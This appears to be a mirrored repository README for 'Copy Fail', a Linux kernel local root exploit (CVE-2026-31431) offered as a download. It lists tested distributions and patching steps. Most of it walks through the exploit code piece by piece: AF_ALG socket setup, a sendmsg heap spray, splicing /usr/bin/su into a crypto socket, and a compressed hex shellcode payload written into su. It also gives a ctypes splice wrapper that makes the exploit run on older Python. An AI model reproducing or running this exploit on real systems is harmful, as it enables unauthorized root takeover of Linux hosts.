CVE-2026-31431

KO | EN

gitlite — search

#javascript #python #golang #go #deep-learning #docker #nodejs #macos #windows #awesome-list #vue #pytorch #ios #mcp

(★ 18)

Copy Fail - CVE-2026-31431

CVE-2026-31431 Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# CVE-2026-31431

----------

## Copy Fail - CVE-2026-31431 Detail

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions

----------

## Tested Distro / Version

|    Distro   |    Version       |
|-------------------|-------------------------|
| Ubuntu 24.04 LTS  | 6.17.0-1007-aws         |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023   |
| RHEL 10.1         | 6.12.0-124.45.1.el10_1  |
| SUSE 16           | 6.12.0-160000.9-default |

----------

## Exploit Run
    main.py

## Command ID
    id

## If something like this appears, it means you now have root access.

----------

## The fix takes just a few minutes.

### Option 1: Update your kernel (recommended)

For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
    For RHEL-based systems: sudo yum update

#### Then reboot your server.

### Option 2: Disable the affected module (temporary fix)

#### If updating right now isn't an option, disable the vulnerable module to reduce exposure:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

#### This won't affect SSH, TLS, LUKS, or OpenSSL.

----------

## Attack Technique: CVE-like (Crypto API + splice)

### This appears to exploit a vulnerability in the Linux kernel AF_ALG crypto subsystem, combined with incorrect usage of splice()/sendmsg() to:

* Leak kernel pointers  
* Corrupt the process task_struct  
* Escalate UID to 0 (root)

### 1. AF_ALG Socket Usage (38)

```python
a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
```

* Creates a cryptographic socket in the kernel  
* Configures AES-CBC + HMAC-SHA256 cipher  
* Real purpose: interact with internal kernel APIs

### 2. Obscure setsockopt (h=279)

```python
v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
```

* 279 = ALG_SET_KEY (sets cryptographic key)  
* Undocumented options that exploit the ALG subsystem  
* Key '0800010000000010' + zeros — likely vulnerability trigger

## 3. Main Attack Technique

```python
u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
```

* sendmsg with ancillary data (control messages)  
* The 'i' (counter) creates variable sizes per iteration  
* Goal: heap spraying and kernel memory corruption

## 4. splice() Between Pipes

```python
r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket
```

### Zero-copy data transfer between:

/usr/bin/su (file) → pipe → crypto socket

### splice avoids user→kernel copies → fully kernel-space operation

## 5. Decompressed Payload

## Hex data:
    78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

### Starts with 78da → zlib header

### Decompressed content likely includes:

Shellcode (machine code)  
    x86_64 privilege escalation instructions

## 6. Writing Payload into su

```python
while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su
```

### Corrupts /usr/bin/su in memory (not on disk)

### Shellcode is injected into the su process at execution time

# 7. Final Execution

```python
g.system("su")
```

> [!NOTE]
> If the target OS python version is <3.10 then use this below code to make it work, But first make sure to inspect syscall availability

```
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY
```

Add this code snippent under `PAYLOAD_COMPRESSED` section:

```
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret
```

### Executes su (switch user) — now with corrupted payload

### Modified su returns root without requiring a password

CVE-2026-31431

CVE-2026-31431 Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

CVE-2026-31431

CVE-2026-31431 Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README